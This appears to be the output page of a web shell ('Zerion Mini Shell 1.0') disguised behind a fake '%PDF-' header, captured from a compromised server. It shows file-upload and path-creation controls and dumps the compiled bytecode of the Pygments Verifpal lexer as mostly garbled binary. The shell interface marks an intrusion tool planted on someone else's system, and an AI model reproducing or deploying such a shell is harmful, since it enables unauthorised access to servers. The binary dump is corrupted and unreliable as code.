%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/pygments/lexers/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/pygments/lexers/__pycache__/verifpal.cpython-312.pyc

�

|�ef
��\�dZddlmZmZmZmZddlmZmZm	Z	m
Z
mZmZdgZ
Gd�de�Zy)z�
    pygments.lexers.verifpal
    ~~~~~~~~~~~~~~~~~~~~~~~~

    Lexers for Verifpal languages.

    :copyright: Copyright 2006-2023 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�)�
RegexLexer�words�bygroups�default)�Comment�Keyword�Name�String�Punctuation�
Whitespace�
VerifpalLexerc��eZdZdZdZdgZdgZdgZdZde	jfdeejeeeee�fd	eejeeeeeee�fd
eejeej$e�dfdeejee�d
fdeeeeeeee�dfedd��ejdfedd��ejfdefdefedd��ej$fedd��ej(fdefdej*fgdefdefdej*fed�gdej*fedd��eej.e�dfed�gd�Zy) r
z8
    For Verifpal code.

    .. versionadded:: 2.16
    �Verifpal�verifpalz*.vpztext/x-verifpalzhttps://verifpal.comz//.*$z!(principal)( +)(\w+)( *)(\[)(.*)$z3(attacker)( *)(\[)( *)(passive|active)( *)(\])( *)$z(knows)( +)(private|public)( +)�sharedz(queries)( +)(\[)�queriesu"(\w+)( +)(->|→)( *)(\w+)( *)(\:))�	generates�leaksz\b)�suffix)�phase�preconditionu[\[\(\)\]\?:=→^,]z->)�password)�AEAD_DEC�AEAD_ENC�ASSERT�BLIND�CONCAT�DEC�ENC�G�HASH�HKDF�MAC�PKE_DEC�PKE_ENC�PW_HASH�RINGSIGN�
RINGSIGNVERIF�SHAMIR_JOIN�SHAMIR_SPLIT�SIGN�	SIGNVERIF�SPLIT�UNBLIND�_�nilz\s+z\w+z	[\^\[\],]z +z#pop)zconfidentiality?zauthentication?z
freshness?zunlinkability?zequivalence?z( ))�rootrrN)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypes�urlr�Singlerr	�Builtinrr
rr�Constantr�Function�Variabler�Pseudo�tokens���:/usr/lib/python3/dist-packages/pygments/lexers/verifpal.pyr
r
s����D��l�G���I�"�#�I�
 �C��w�~�~�&�
1�8�D�L�L�*�V\�^h�ju�xB�4C�
D�
C�X�d�l�l�\f�hs�u�BH�JT�Va�cm�Fn�
o�
/��$�,�,�
�T[�Td�Td�fp�1q�s{�|�
!�8�D�L�L�*�k�#R�T]�^�
2�H�V�Z�Q\�^h�jp�r|�J�5K�MU�
V�
�)�%�
8�$�,�,��Q�
�.�u�
=�t�|�|�L�
#�[�1�
�K� �
�=��
/��1A�1A�B�
�4�=B�	C�
�]�]�
��Z� �
�T�]�]�#�'
�,�;�'�
�J��
�T�]�]�#��F�O�	
��T�]�]�#�
�6�>C�E�
�g�n�n�j�
1�8�
=�
�F�O�
�9#�FrCN)r5�pygments.lexerrrrr�pygments.tokenrrr	r
rr�__all__r
rBrCrD�<module>rHs3���@�?����
��0�J�0rC

Zerion Mini Shell 1.0